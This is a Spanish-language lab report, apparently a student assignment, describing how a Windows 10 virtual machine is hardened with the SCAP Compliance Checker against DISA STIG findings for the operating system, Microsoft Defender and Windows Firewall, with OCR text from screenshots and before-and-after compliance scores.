Como experto en Ciberseguridad usted debera cumplir con las siguientes tareas las
cuales demanda HackerHouse:

e Descargue una guia de hardenizacion para Windows 10

e Asegure la maquina que fue afectada con el Payload de la Etapa 4.

e Genere un documento donde mencione el paso a paso utilizado
para asegurar y erradicar el ataque ejecutado en la Etapa 4.
Una vez realizado este apartado del anexo 5 debe dirigirse a la Guia y terminar de

responder las preguntas relacionadas con el aseguramiento y equipo BlueTeam.

18.Descargamos la herramienta Security Content Automation Protocol
(SCAP)!?, esta herramienta automatiza el hardening en la maquina windows,
donde se endurecera las politicas que esta herramienta encuentra como
criticas en el apartado del sistema operativo (windows 10), windows defender
y el firewall de windows.
Imagen 23. Descarga de la herramienta (SCAP)

< c 2% public.cyber.mil/stigs/scap/

W Bookmarks @ Didlogo Tl E https;//alliance.prog.. <= Canon EF 35mm /1... 6 Crear particion de ... ’;’} HP Learner ID | HP E...

DoD CYBER
///(EOXCHANGE puBLIC

) | SeT e vnumu ss Mo

[
& SCC 5.8 UNIX Remote Scanning Plugin

b
& SCC 5.8 Windows

Showing 21 to 24 of 24 entries

Fuente. El Autor

12 NIST. [Sitio web]. Computer Security Resource Center . Security Content Automation Protocol
SCAP. [Consulta 10 de marzo 2024]. Disponible en: https://csrc.nist.gov/projects/security-content-
automation-protocol/
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19.Con la herramienta instalada procedemos a ejecutar las pruebas de
hardening para Windows 10.

Imagen 24. Pruebas para Windows 10 con SCAP

7 ompliance Checker 5.8 [Configuration Profile: default - C:\Program Files ompliance Checker 3.8\optionsxm -
1) SCAP Compl Checker 5.8 [Configuration Profile: default - C:\Prog Files\SCAP Compl Checker 5.8\opti 1] X
File Options Results Help
Scan Content Content Details
1. Choose a scan type Install Refresh Showal || == | Tt
Local Scan w scap
2. Select Content BT EEOET
Stream
scap 1 0f 22 Enabled {111 Profile
£l _[m] Windows
Show Scan Output [T 'adobe_Acrobat_R..nuous_Track STIG  2.2.3 Release info
3. Start Scan |:| Google_Chrome_Current_Windows 283
[ E_t1_sTiG 254 Status
Start Scan [ 15_10-0_Server_STIG 295 ——
[ 15_10-0_Site_STIG 285
[ 15_8-5_Server_STIG 264 Validation
[ 1s_8-5_site_sTiG 284 Signaiae
[] Microsoft_OneDrive_STIG 234 7 -
[ Micrasoft_windows_11_STIG 124 escription
|:| MOZ_Firefox_Windows 544
[[] MS_Defender_Antivirus 244 Notice
[[] Ms_Dot_Net_Framework 223
S:‘:§721$E7SI§= ProPlus STIG ;ii Prose Reports Tailoring Manual Questions
ice_365_ProPlus_! 9.
284 Applicability Run content regardless of applicability
MS_ Windows 10 _STIG 002.009
|:| MS_Windows_Server_2022_STIG 124
[] windews_2012_DC_STIG 3.5.4
[ Windows_2012_WS_STIG 354
|:| Windows_Firewall...Advanced_Security 224
|:| Windows_Server_2016_STIG 244
|:| Windows_Server_2013_STIG 244
< >

Fuente. El Autor

Imagen 25. Inicio de la prueba al localhost

() SCAP Compliance Checker 5.8 [Configuration Profile: default - C:\Program Files\SCAP Compliance Checker 5.8\options.xml ] — ¥
File Options Results Help
Scan Content Content Details
Install Refresh Show All | Title
vI SCAP
Datastream
Stream
10722 Enabled | . Profile
£ [m] Windows
Show Scan Output [[] Adobe_Acrobat_R..nuous_Track_STIG ~ 2.2.3 Rzl

3. Start Scan |:| Google_Chrome_Current_Windows 283

[E_11_sTIe 254 Status
Start Scan l [ 15_10-0_Szrver_sTiG 295 e
[ 1s_10-0_Ste_sTIG 285
15 85 zerver_sSTiG 264 Validation
[ 8= site =Tz 284 it
|:| Microsoft_OneDrive_STIG 234
[ Microsoft_Windows_11_STIG 124 e
|:| MOZ_Firefox_Windows 544
[] W=_Defender_Antivirus 244 Notice
[[] M5_Dot_Net_Framework 223
S:'::—;i?_a—s;ﬁ BroFlus STIG ;ii Prose Reports Tailoring Manual Questions
D ':‘S:‘mnlzz;s_.;u_msﬂl;s_ 2:3:4 Applicability Run content regardless of applicability
WS_Windows_10_STIG 002.009
|:| WS_Windows_Server_2022_STIG 1.2.4
[ Windows_2012_DC_STIG 354
[] Windows_2012_MS_STIG 354
[] Windows_Firewall...Advanced_Security — 2.2.4
[[] Windows_Server_2016_STIG 244
[[] Windows_Server_2019_STIG 244
< >

Fuente. El Autor
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20.La prueba nos arrojo un puntaje 34.12%.

Imagen 26. Puntaje obtenido con el autodiagndstico.

Non-Compliance Report - Microsoft Windows 10 STIG SCAP

Benchmark

> Compliance Checker

Score | System Information | Content Information | Results | Detailed Resuits

Score

0 Adjusted Score: 34.12%
Original Score: 34.12%
- Compliance Status: RED

" Appl "
Pass. z Not App lcable. 2 BLUE: Score equals 100
Fail: 139 Not Checked: 0 )
. . GREEM: Score is greater than or equal to 90
Ermor 0 Mot Selected 0 YELLOW: Score is greater than or equal to 80
Unknown: 0 Informatienal- 0 RE.D: Score is greater than or equal to 0
Fixed: 0 Total: 214 : g q

Fuente. El Autor

Imagen 27. Datos de la maquina Windows 10
System Information

Target Hostname: DESKTOP-0PFT1E9

Operating System: Microsoft Windows 10 Pro

0S Version: 22H2

Domain:

FQDN: DESKTOP-0PFT1ES.

Processor. Intel(R) Core(TM) i5-8365U CPU @ 1.60GHz

Processor Architecture: | Intel64 Family 6 Model 142 Stepping 12

Processor Speed: 1896 mhz

Physical Memory; 2048 mb

Manufacturer: ViMware, Inc.

Model: VMware20,1

Serial Number: VMware-56 4d b1 d0 80 53 fe b4-6175e1 0071 84 40 17
BIOS Version: VMW201.00V.20648489.864.2210180829

Interfaces: e [00000002] Intel(R) 82574L Gigabit Network Connection

o |P Addresses
s 192.168.19216
o MAC Address: 00:0C:29:84:40:17
Fuente. El Autor

31



21.En el informe se observa que se tienen 11 mejoras criticas las cuales vemos

a resolver.

Imagen 28. Informe con 11 recomendaciones criticas.

Results: High Severity (CAT I)

Automated Checks

o V-220726
o V-220823
o V-220827
o V-220828
o V-220829
o V-220857
o V220862

o V-220865 -

o V-220930
o V-220938
o V-220967

-Data Execution Prevention (DEP) must be configured to atleast OptOut - Fail

- Solicited Remote Assistance must not be allowed. - Fail

-Autoplaymustbe turned off for non-volume devices. - Fail

-The default autorun behavior mustbe configured to prevent autorun commands . - Fail
Autoplaymustbe disabled for all drives. - Fail

-The Windows Installer Always install with elevated privileges must be disabled. - Fail

-The Windows Remote Management (WinRM) client must not use Basic authentication. - Fail
The Windows Remote Management (WinRM) service must not use Basic authentication. - Fail
- Anonymous enumeration of shares mustbe restricted. - Fail

-The LanMan authentication level mustbe setto send NTLM2 response only. and to refuse LMand NTLM. - Fail
-The Debug programs userright mustonlybe assigned to the Administrators group. - Fail

Fuente. El Autor

22.Empezamos a endurecer las politicas de sistemas corrigiendo las

recomendaciones como nos lo indica la herramienta SCAP.

23.Comenzamos con la V-220726, la cual nos ayuda a la Prevencion de

ejecucion de datos, evitando que algun atacante ejecute codigos en memoria

desde lugares donde no se supone que sea necesario.

Imagen 29. Detalle de la vulnerabilidad y como se corrige.
Detailed Results: High Severity (CAT I)

V-220726 - Data Execution Prevention (DEP) must be configured to at least OptOut.

Rule ID:

xcedf_mil.disa.stig_rule_SV-220726r851966 _rule

Test Type Automated

Result.

Version®

Fail
WN10-00-000145

Identities SV-83439

V-68845
CCl-002824 (NIST SP 800-53 Rev 4 51-16; NIST SP 800-53 Rev 5: 5I-16)

Description: | Attackers are constantly looking for vulnerabilities in systems and applications. Data Execution Prevention (DEP) prevents harmful

Fix Text.

Severity
Weight:

code from running in protected memory locations reserved for Windows and other programs.
Configure DEP to at least OptOut.
Note: Suspend BitLocker before making changes to the DEP configuration

Open a command prompt (cmd.exe) or PowerShell with elevated privileges (Run as administrator)

Enter "BCDEDIT /set {current} nx OptOut". (If using PowerShell "{current}" must be enclosed in quotes.)

"AlwaysOn", a more restrictive selection, is also valid but does not allow applications that do not function properly to be opted out
of DEP.

Opted out exceptions can be configured in the "System Properties”

Open "System" in Control Panel

Select "Advanced system settings".

Click "Settings" in the "Performance” section

Select the "Data Execution Prevention" tab.

Applications that are opted out are configured in the window below the selection "Turn on DEP for all programs and services
except those | select:”

high
10.0

Fuente. El Autor
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Imagen 30. Activacion DEP para todas las aplicaciones

Opciones de rendimiento X

Efectos visuales Opciones avanzadas Prevenddn de ejecucion de datos

=4 La Prevencion de ejecucion de datos (DEP) le ayuda a
3 4 protegerse contra virus y otras amenazas a |z seguridad.
4Cémo funciona?

(O Activar DEP solo para los programas y servicios de Windows
esenciales

(® Activar DEP para todos los programas y servicios excepto los que
seleccione:

Agregar... Quitar

El procesador del equipo es compatible con DEP basado en
hardware.

Aceptar Cancelar Aplicar

Fuente. El Autor

24.La vulnerabilidad V-220823, con esta correccidon bloquemos la asistencia
remota a otro usuario y no permite que se vea o tome el control de la sesion

local de un usuario.

Imagen 31. Bloqueo vulnerabilidad V-220823
| Editor de directivas de grupo local - =] X
Archivo Accién Ver Ayuda
e 2@ = HmE Y

v @ Sistema ~ | Asistencia remota
| Acceso a Almacenamiento m

2 Configurar la Asistencia remota Configuracién Estado Comentario
Acceso de almacenamiento e &
"] Administracién de comunica iz, Permitir solo conexiones de Windows Vista o posterior No configurada No
7 Administracién de energia Editsr conBiausicibn de divectiva [N =] Ad!var reglvstrvo dé sesion No configurada No
| Administrador del servidor i=| Activar optimizacion de banda ancha No configurada No
| Antimalware de inicio tempre Requisitos: iz Personalizar mensajes de advertencia No configurada No
1 Apagado Al menos sistemas operativos Configurar la Asistencia remota solicitada Deshabilitada No
Windows Server 2003 o Windows - 9 2 s =
1 App-V A 1] Configurar Ofrecer asistencia remota No configurada No
XP Professional
Asistencia de acceso denegac
| Asistencia remota Descripcién:
| Auditar creacion de procesos Esta configuracién de directiva le
Caché NV de disco permite activar o desactivar la
COM distribuido asistencia remota solicitada en
- este equipo.
| Complejidad de PIN P
Confiquracién del Administre Si habilita esta confiauracién de

Fuente. El Autor

25.La vulnerabilidad V-220828, con esta correccion se evita que se ejecuten
comandos de ejecucién automatica.
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Imagen 32. Blogueo vulnerabilidad V-220828

-/ Editor de directivas de grupo local - m] X

Archive Accion  Ver Ayuda

o | nmE = Hm T

3] Calendario de Windows 2 Directivas de Reproduccion automitica
Camara
" . Establece el comportamiento Configuracién Estado
_| Carpetas de trabajo edet N N L
1 Centro de movilidad de Windows :: E:r_m' para ejecucion \iz| Desactivar Reproduccién automatica No configurada

“| Centro de seguridad Evitar que Reproduccién automitica recuerde las elecciones del usuaric
Cifrado de unidad BitLocker
_| Compatibilidad de aplicaciones

| Compatibilidad de dispositivos y controli

No configurada
| Deshabilitar Reproduccién automitica para dispositivos que no son dev...  Deshabilitada
Habilitada

Editar configuracion de directiva L
E Establece el comportamiento predeterminado para jecucién automatica.
Requisitos:

Al menos Windows Vista

| Conectar
1 Configuracién de presentacién Descripcion:
| Contenido de la nube Esta configuracién de directiva

Cuenta de Microsoft
| Directivas de Reproduccién automitica
1 Encontrar mi dispositivo

establece el comportamiento
predeterminado para los
comandos de ejecucién

" Fuente. El Autor

26.La vulnerabilidad V-220829, con esta correccidn bloquemos la ejecuciéon de
la reproduccion automatica la cual puede introducir codigo malicioso en un

sistema.

Imagen 33. Bloqueo vulnerabilidad V-220829.

(=l Editor de directivas de grupo local -
Archivo Accion Ver Ayuda
e nFE = Em T

1 Calendaric de Windows ~ " Directivas de Reproducci i
Cémara
Carpetas de trabajo
~ Centro de movilidad de Windows
| Centro de seguridad
| Cifrado de unidad BitLocker
| Compatibilidad de aplicaciones
_| Compatibilidad de dispositivos y controli
1 Conectar

Desactivar Reproduccién
automitica

Configuracién Estado

- | Evitar que Reproduccién automatica recuerde las elecciones del usuario No configurada
\i=] Deshabilitar Reproduccion automatica para dispositives que no son de volu..  Deshabilitada
1] Establece el comportamiento predeterminado para ejecucién automatica. Habilitada

Editar configuracién de directiva

Requisitos:
Al menos Windows 2000

Descripcion:

_| Configuracién de presentacion

1 Contenido de la nube

| Cuenta de Microsoft

Esta configuracion de directiva le
permite desactivar el la
caracteristica Reproduccién

| Directivas de Reproduccién automatica automatica

| Encontrar mi dispositive

Reoroduccién automitica

Fuente. El Autor

27.La vulnerabilidad V-220857, con esta correccion bloquea que a las cuentas

de usuario estandar no se les otorguen privilegios elevados.
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Imagen 34. Accion a la vulnerabilidad V-220857

=/ Editor de directivas de grupo local

Archive Accion Ver Ayuda
e @ = HmEl T

Tienda
— Ubicacién y sensores
Virtualizacién de la experiencia del usuari
_| Visor de eventos
Voz
_ Windows Hello para empresas
| Windows Installer
~| Windows Messenger
Windows PowerShell
1 Windows Security
Windows Update
Impresoras

28.La vulnerabilidad V-220862,

~ 1| Windows Installer

Instalar siempre con privilegios
elevados

Configuracién

Editar configuracién de directiva /A =

Requisitos: os elevados

Al menos Windows 2000

Instalar siempre con pri

Prohibir uso del Administrador de reinicio

Descripcion:

Esta configuracion de directiva
indica a Windows Installer que
debe usar permisos elevados al

| Prohibir la aplicacién de revisiones optimizada

|| Desactivar Windows Installer

Fuente. El Autor

|| Permitir a los usuarios buscar el origen cuando tienen privilegios elevados

Quitar el cuadre de didloge Examinar para un crigen nuevo

i-) Desactivar el registro mediante la configuracion de paquetes

con esta correccibn se deshabilita

Estado

Mo configurada

Permitir a los usuarios usar el origen de medios cuando tienen privilegios ele... No configurada

Permitir a los usuarios aplicar revisiones a productos con privilegios elevados  Ne configurada

Deshabilitada
No configurada
No configurada
Ne configurada
No configurada
Ne cenfigurada

la

autenticacion béasica del cliente de la Administracion remota de Windows que

utiliza contrasefias de texto sin formato que podrian usarse para

comprometer un sistema.

Imagen 35. Deshabilitar vulnerabilidad V-220862

= Editor de directivas de grupo local - [m] X
Archivo  Accién  Ver Ayuda
e 2@ = Bm T
| Configuracién de Windows ~ Cliente WinRM
w __| Plantillas administrativas .
Permitir autenticacién basica Configuracién Estado Comentar

v Componentes de Windows
| Administracion de derechos digitales de
v (7] Administracién remota de Windows (Wir
"| Cliente WinRM
| Servicio WinRM
_| Administrador de ventanas del escritorio
| Agregar caracteristicas 2 Windows 10
| Almacen digital

29.La wvulnerabilidad V-220865, con esta correccion se deshabilita

Permitir autenticacién basica Deshabilitada No

feitar e Lo 2| Permitir autenticacion CredSSP

\i=| Permitir trafico sin cifrar
:z| No permitir autenticacién implicita

Requisitos:

Al menos Windows Vista
|| No permitir autenticacion Kerberos

Descripcién:

Esta configuracién de directiva le

permite administrar si el cliente

Fuente. El Autor

2] No permitir autenticacién Negotiate
|| Hosts de confianza

No configurada
Ne configurada
No configurada
No configurada
No configurada
No configurada

No
Ne
No
No
No
No

la

autenticacion basica del servicio de la Administracion remota de Windows

que utiliza contrasefias de texto sin formato que podrian usarse para

comprometer un sistema.
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Imagen 36. Deshabilitar vulnerabilidad V-220865

=/ Editor de directivas de grupo local
Archivo  Accion  Ver

e n@m = HEE Y

Ayuda

» 1 Configuracién de Windows
v | Plantillas administrativas
v [] Componentes de Windows
| Administracion de derechos digitales de
| Administracién remota de Windows (Wir
] Cliente WinRM
| Servicio WinRM
> (2] Administrador de ventanas del escritorio
] Agregar caracteristicas a Windows 10
1 Almacén digital

fiabilidad de Wind.

v

Estado

Permitir autenticacién basica Configuracién

Permitir la administracién de servidores remotos a través de WinRM No configurada
Permitir autenticacion CredSSP No configurada
Permitir tréfico sin cifrar No configurada
Especificar el nivel de proteccion de token de enlace de canal
No permitir que WinRM almacene credenciales de RunAs

Editar configuracién de directiva

Requisitos:
Al menos Windows Vista
No configurada

No configurada
No configurada
No configurada

Descripcién:
Esta configuracién de directiva le
permite administrar si el servicio

No permitir autenticacién Kerberos

7 Analisis de

30.La vulnerabilidad V

usuarios de inicio d

Adi ion remota de Wind |iz] No permitir autenticacién Negotiate

Fuente. El Autor

los

-220930, con esta correccion se restringe  que

e sesidn anénimos

Imagen 37. Restringir la vulnerabilidad V-220930.

| Editor de directivas de grupo local

Archivo Accién Ver Ayuda

as | nEIXE B

Configuracién de software
Configuracién de Windows
"] Directiva de resolucién de nombres
| Scripts (inicio o apagado)
. = Impresoras implementadas
7 Configuracién de seguridad
> [@ Directivas de cuenta
v 4 Directivas locales
>[4 Directiva de auditoria
» |4 Asignacién de derechos de usuario
_ 7 Opciones de seguridad
» [ Windows Defender Firewall con segurida

Le

>
v@

v

Directiva Configuracién de seguri...

\z] Acceso a redes: canalizaciones con nombre accesibles anénimamente
Ly Acceso a redes: modelo de seguridad y use compartido para cuentas locales
[ Accese a redes: no permitir el almacenamiento de contrasefias y credenciales para la autenticacién de ...

Clésico: usuarios locales...
Deshabilitada

i Acceso a redes: no permitir enumeraciones anénimas de cuentas SAM H ada

umeraciones anén

| Acceso a redes: permitir la aplicacidn de los permisos Todos a los usuarios anénimos Deshabilitada

Lz Acceso a redes: recursos compartidos accesibles anénimamente No esta definido

1l Acceso a redes: restringir acceso anénimo a canalizaciones con nombre y recursos compartidos Habilitada

i Acceso a redes: rutas del Registro accesibles remotamente System\CurrentControlS...
L, Acceso a redes: rutas y subrutas del Registro accesibles remotamente System\CurrentControlS...

Fuente. El Autor

31.La vulnerabilidad V-220938, con esta correccion fortalece la autenticacion

Kerberos por LAN.

Im

agen 38. Fortalecimiento Kerberos

| Scripts (inicio o apagado)
> = Impresoras implementadas
v & Configuracién de seguridad
3 Directivas de cuenta
v [ 4 Directivas locales
> [ Directiva de auditoria
> L@ Asignacién de derechos de usuario
4 Opciones de seguridad
~| Windows Defender Firewall con segurida
1 Directivas de Administrador de listac de r

|5/ Editor de directivas de grupo local = a X
Archivo  Accién  Ver Ayuda
e n@mXE = H
> [Z] Configuracién de software A || Directiva - Configuracién de seguridad (o
R C-onhvgura.(lon g Wlndf)ws & dad de red: ig tipos de cifrado p para Kerberos No esta definido
> [ Directiva de resolucién de nombres Deshabilitada

{4/ Seguridad de red: forzar el cierre de sesién cuando expire la hora de inicio de sesién
12 Seguridad de red: nivel de autenticacion de LAN Manager
\ Seguridad de red: no almacenar valor de hash de LAN Manager en el préximo cambio de contrasefia

Enviar solo respuesta NTLMv2 y rechazar LI

Habilitada

(.« Seguridad de red: permitir que LocalSystem use la identidad del equipo para NTLM No esta definido
\¢ Seguridad de red: permitir retroceso a sesion NULL de LocalSystem No esta definido
ThES idad de red: permitir solicitudes de 6n PKU2U a este equipo para usar identidades en ...  No esta definido
(L Seguridad de red: requisitos de firma de cliente LDAP Negociar firma
\ Seguridad de red: restringir NTLM: agregar excepciones de servidor en este dominio No esta definido
(L Seguridad de red: restringir NTLM: agregar excepciones de servidor remoto para autenticacién NTLM No esta definido
No esta definido

Ul Seauridad de red: restrinair NTLM: auditar el trafico NTLM entrante

Fuente. El Autor
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32.La vulnerabilidad V-220967, bloque el acceso a cuentas con el derecho de

usuario a depurar programas, esto puede proporcionar acceso completo a

componentes sensibles y criticos del sistema operativo, solo se le da

premisos a los usuarios administradores.

(5 Editor de directivas de grupe local

- [m] X
Archivo  Accién  Ver Ayuda
e 2@ XE = Hm
| Configuracién de software ~ || Directiva i ~

v Cenfiguracién de Windows
| Directiva de resolucion de nombres
& Scripts (inicio o apagado)
= Impresoras implementadas
v 3 Configuracién de seguridad
‘4 Directivas de cuenta
~ [[4 Directivas locales
A4 Directiva de auditoria
4 Asignacién de derechos de usuario
4 Opciones de seguridad
| Windows Defender Firewall con segurida
~ Directivas de Administrador de listas de r

2| Crear objetos globales

2| Crear un archivo de paginacién
2z Crear un objeto simbolo (token)
i Crear vinculos simbélices

.| Denegar el acceso a este equipo desde la red Invitado

.| Denegar el inicio de sesién como servicio

< Denegar el inicio de sesién como trabajo por lotes

./ Denegar el inicio de sesion local Invitado

.| Denegar inicio de sesion a través de Servicios de Escritorio remoto

Wosionpoganes s

.4 Forzar cierre desde un sistema remoto

Fuente. El Autor

Configuracién de sequridad

LOCAL SERVICE NETWORK SERVICE, Administrado..
Administradores

Administradores

Administradores

33.Después de realizar estos ajustes procedemos a realizar de nuevo la pruebas

sobre el sistema operativo, estas nos arrojo una mejora significativa en el

apartado de seguridad del equipo pasamos de 34.12% a 38.39%, al

endurecer estas politicas mejoramos la seguridad y dificultaremos una

conexion por un posible payload.

Imagen 40. Aumento del endurecimiento en el sistema operativo.
iance Report - Microsoft Windows 10 STIG SCAP Benchmark

Score

Not Applicsble: 3

38.39%

tent Information | Results | Detailed Results

BLUE S

Target Hostname: DESKTOP-OPFT1ES
Operating System Macs oft Windows 10 Pro
05 Vers ion 2242

Model Vivare20,1

DESKTOP-OPFT1ES.

Fuente. El Autor
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34.Después de endurecer las politicas del sistema operativo, procedemos ahora
a mejorar las del Microsoft defender.

Imagen 41. Puntuacion de la prueba con SCAP de Microsoft defender a la
maquina Windows.

Non-Compliance Report - Microsoft Defender Antivirus STIG SCAP Benchmark

- NIWC Enhgnced with Manual Questions

Score | System Information | Content information | Results | Detailed Results

Score

43.9%

Adjus ted Score: 43.9%
Original Score: 43.9%
Compliance Status: RED

Pass: 18 NotAppiicable: 0
23 o BLUE: Score equak 100
Fell 2 petShesed 0 GREEN: Score is grester hian or equal to 30
Emor 0 NotSeleced: 0 ' Score kg

YELLOW: Score is grester hian or equsl to 50

Unknawn: 0 Informational: 0
RED: Score is greater han or equalto0

Fied: 0 Total 41

System Information

Target Hos tname: DESKTOP-0PFT1ES

Operating System Maosoft Windows 10 Pro

OS Vers ion: 22H2
Domain:
FQDN: DESKTOP-OPFTIES

Fuente. El Autor

35.La vulnerabilidad V-213426, se configura para bloguear la funcién de

aplicacién potencialmente no deseada.

Imagen 42. Blogueo vulnerabilidad V-213426

=/ Editor de directivas de grupo local - m] X
Archivo  Accién Ver Ayuda

e 2@ = HBHml Y

v [] Componentes de Windows ~ ‘ ~ Antivirus
_ Administracién de derechos F - - P e . 35 -
< . Configurar deteccién de Configuracion Estado Comentario
| Administracion remota de W A 3
s aplicaciones potencialmente no 1 Inf
7 Administrador de ventanas d deseadas o
| Agregar caracteristicas a Win | Interfaz de cliente
1 Almacén digital Editar configuracion de directiva A MAPS
| Analisis de confiabilidad de V _| MpEngine
_ Antivirus de Mi ft Defen R ~| Protecci6n contra vulnerabilidades de sequridad de Microso...
- 9/
Area de trabajo de Windows Al ménos Windows Server 2016, Proteccion en tiempo real
SRR E 5 versién 1607 de Windows 10 =
| Asistencia en linea | Sistema de inspeccién de red
| Biometria Descripcion: |i2] Permitir que el servicio se inicie con priori . No configurad No
1 Buscar e L -| Desactivar Antivirus de Microsoft Defender No configurada No
1 i labilita o deshabiiita la
= Ea'lendano de Windows deteccitn de splicaciones =) Configurar el comportamiento de combinacién de las listas .. No configurada No
- camau 3 b potencialmente no deseadas. Desactivar correccion de rutina No configurada No
= carpeta; etra;;od oW PUCd?? bloquear, auditar o iz| Controle si las exclusiones son visibles para los administrad... No configurada No
N cen:vo de i ,Idad ST p:;mm‘r ]la d:'stcargadde so;twarle Definir direcciones para omitir el servidor proxy No configurada No
otencialmente no deseado o los
ot Cie(?a:!oo dees::il:i’aldaﬁiﬂocker i‘:ﬁentos de instalarse =| Definir la configuracion automatica de proxy (.pac) para co... No configurada No
d Compatibifidad de aplicacior automaticamente en el equipo. =| Definir servidor proxy para las conexiones con la red No configurada No
== Compatibilidad de dispositiv . Seleccionar horas de tareas p das al i No igurad. No
-~ Eraliktatic: S Configurar deteccion de aplicaciones potencialmente no de.. V€ Pisbhlitda No
] Conectar Especifica el modo en la > v >
3 Confiauracién de presentacic seccion Opciones: WV =] Permitir que el servicio antimalware permanezca siempre en... No configurada No

Fuente. El Autor
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36.La vulnerabilidad V-213452, se configura para que las bases de datos de

software espia AV no exceda los 7 dias.

Imagen 43. Modificacion de la politica de definicion de software espias.

=/ Editor de directivas de grupo local
Archivo  Accion  Ver Ayuda

o @ = Hm T

Almacén digital 7 A P PRer 2 0 L
~| Andlisis de confiabilidad de v 5 2 " ) p T ~ T L )
v (5] Antiviras de Microsoft Defen _ || D=Folr SLhimero 0 S0 que deben. Sonfiguracin S i Anentatio

| Actualizaciones de intelig inteligencia de seguridad de =] Activar ex}ameAn tras‘ una actualizacién de m!ehgeltma deseg... No configurada No

Amenazas spyware como caducada uscar la inteligencia de seguridad antivirus y antispyware ...  No configurada No

" Control de dispositivo @ Definir el nimero de dias que deben transcurrir para consid. Habilitada No

Correccion Editar configuracién de directiva A |iz] Definir el nimero de dias que deben transcurrir para consid... No configurada No

Cuarentena . |i=| Definir el nimero de dias tras los cuales se necesita una actu... No configurada No

Deteccién :le::;:tooss\:lwndows Server 2012 |iz| Definir el orden de los origenes para descargar actualizacion... No configurada No

_ Exclusiones Windows 8 o Windows RT = \iz) Definir la ubicacion de inteligencia de seguridad para los cli.. No configurada No

| Informes li=! Definir recursos compartidos de archivos para descargar act... No confiqurada No

Fuente. El Autor

37.La vulnerabilidad V-213453, se configura para que las bases de datos de

software virus AV no exceda los 7 dias.

Imagen 44. Modificacion de la politica de definicion de software virus

(= Editor de directivas de grupo local - O
Archivo  Accién  Ver Ayuda
s 2@z Em T
| Almacén digital A o - de inteli it
| Analisis de confiabilidad de v ) » ~ .
- Definir el nimero de dias que deben Configuracion Estado Comentario
~ [ | Antivirus de Microsoft Defen & N nsid la
Actualizaciones de intelig i'::r""':::;a cou e";e virus iz| Activar examen tras una actualizacion de inteligencia de seg... No configurada No
< Amenazas como M‘Kad:eg Buscar la inteligencia de seguridad antivirus y antispyware ..  No configurada No
. Control de dispositive \iz] Definir el nimero de dias que deben transcurrir para consid... Habilitada
_ Correccién Editar configuracién de directiva ~ ﬁ Definir &l nimero de dias que deben transcurrir para consid... Habilitada
“| Cuarentena R \iz| Definir el nimero de dias tras los cuales se necesita una actu.. No configurada
_| Deteccién AIE:::::::\.deuws Server 2012, i=| Definir el orden de los origenes para descargar actualizacion... No configurada Ne
| Exclusiones Windows 8 0 Windows RT \iz] Definir la ubicacion de inteligencia de seguridad para los cli.. No configurada No

Fuente. El Autor

38.La vulnerabilidad V-213461, se configura para bloquear la ejecucién de

scripts potencialmente ofuscados
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Imagen 45. Bloquear la ejecucion de scripts potencialmente dafinos.

.=/ Editor de directivas de grupo local - o X

Archivo  Accién Ver Ayuda

s @ = Hm P

" Deteccién N ‘ = Reducir la superficie de ataque

| Exclusiones ” » ~ "
=1 Informes Configurar reglas de reduccién de la  Configuracién Estado Comentario
e superfice de ataque
4. MAPS Eikitas onkiciracitn de duecin. 1% B Excluir archivos y las rutas de acceso de las reglas de reducci... No configurada No
| MpEngine
v || Proteccién contra vulner: Requisitos:

Al menos Windows Server 2016,

| Acceso a la carpeta cc 4 b
Windows 10 versién 1709

| Proteccion de red
_| Reducir la superficie ¢
_ Proteccién en tiempo rea

Descripcién:

S L S R S S SR

Fuente. El Autor

39.Con el endurecimiento de estas politicas, garantizamos que las bases de
datos del antivirus no estén tan desactualizadas, adicional mejoramos la
proteccién ante la ejecucion de script sospechosos, y mejoramos la puntacion
de la prueba pasando de 43.9% a 53.66%.

Imagen 46. Puntuacion después del endurecimiento de las politicas de Microsoft
defender a la maquina Windows.

Non-Compliance Report - Microsoft Defender Antivirus STIG SCAP Benchmark -

_N_IWC Enhaqced with Manual Questions

Score | System Information | Content Information | Results | Detailed Results

Score

0 Adjusted Saore:  53.00%
Original Score: 53.68%
- 0 Compliance Status: RED

Pass: 22 Not icable 0
. el BLUE Soore equak 100
Fait 19 NotChecked 0
GREEN: Soore is greater then or equsl 1030
Eror: O NotSeleces 0 .
YELLOW: Score is greater than or equal to 80
Unknown: 0 Informational 0 RED: Score is greaterthan or equal to 0
Foed 0 Totmk 41 = = qual o

System Information

Target Hostname: DESKTOP-OPFT1ED

Opersting System Mo os oft Windows 10 Pro

OS Vers ion: 2z

Domain

FQDN DESKTOP-OPFT1ED.

Processor: Intel R) Core( T iE-8285U CPU @ 1.80GHz

Proces sor Architeclure: | IntelB4 Family8 Model 142 Stepping 12

Fuente. El Autor
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40.Con las politicas del sistema operativo y de Microsoft defender terminamos
endureciendo las politicas del firewall.

Imagen 47. Puntuacion de la prueba con SCAP de firewall de Windows de la
maquina Windows.

Non-Compliance Report - Microsoft Windows Firewall with Advanced
S‘e;urity SﬂG SCAP Benchmark - NIWC Enhanced with Manual Questions

Score | System Information | Content Information | Results | Detailed Results.

System Information

Target Hostname: DESKTOP-OPFT1EQ

Operating System Microsof Windows 10 Pro

0S Version 22H2

Fuente. El Autor

41.La vulnerabilidad V-241992, V-241997, V-242002, se configura para
bloquear conexiones entrantes no solicitadas cuando se conecta a un
dominio — red privada -red publica y las vulnerabilidades V-241989, V-
241990, V-241991 se habilita el firewall cuando se conecta a un dominio —
red privada -red publica

Imagen 48. Configuracion en la politica del firewall de Windows a las conexiones
entrantes.

5] Editor de directivas de grupo local - 0 X

Archivo Accion Ver Ayuda

e 2@ Hm

-/ Directiva Equipo local o 75
v % Configuracién del equipo

1 Configuracién de software

v ] Configuracién de Windows

"] Directiva de resolucién de nombres Informacién general -

‘ Windows Defender Firewall con seguridad avanzada proporciona seguridad de red para equipos Windows.

(] Scripts (inicio o apagado) Perfil de dominio
8 Impresoras implementadas (i) Estado de Frewall de Windows Defender no est configurado

v 3 Configuracién de seguridad -
B Dictives e cuceia | © Las conexiones entrantes que no coincidan con una regla estén bloqueadas. |

@ Directivas locales @ 8 delas salientes no ests
v (] Windows Defender Firewall con s
= Perfil privado
« @ Windows Defender Firewall oot
B3 Reglas de entrada i) Estado de Fiewal de Windows Defender no ests configurado
3 Reglas de salida © Las conexiones entrantes que no coincidan con una regla estan bloqueadas I
B Reglas de seguridad de ¢ @ B delas salientes no esta
| Directivas de Administrador de )
Directivas de clave pablica Perfil pablico
| Directivas de restriccion de soft (i) Estado de Firewall de Windows Defender no esta configurado
Directivas de control de aplicaci @ Las conexiones entrantes que no coincidan con una regla estan bloqueadas. |

@, Directivas de seguridad IP en Eq

] Configuracién de directiva de a
e S -

[CX] delas salientes no esté

Fuente. El Autor
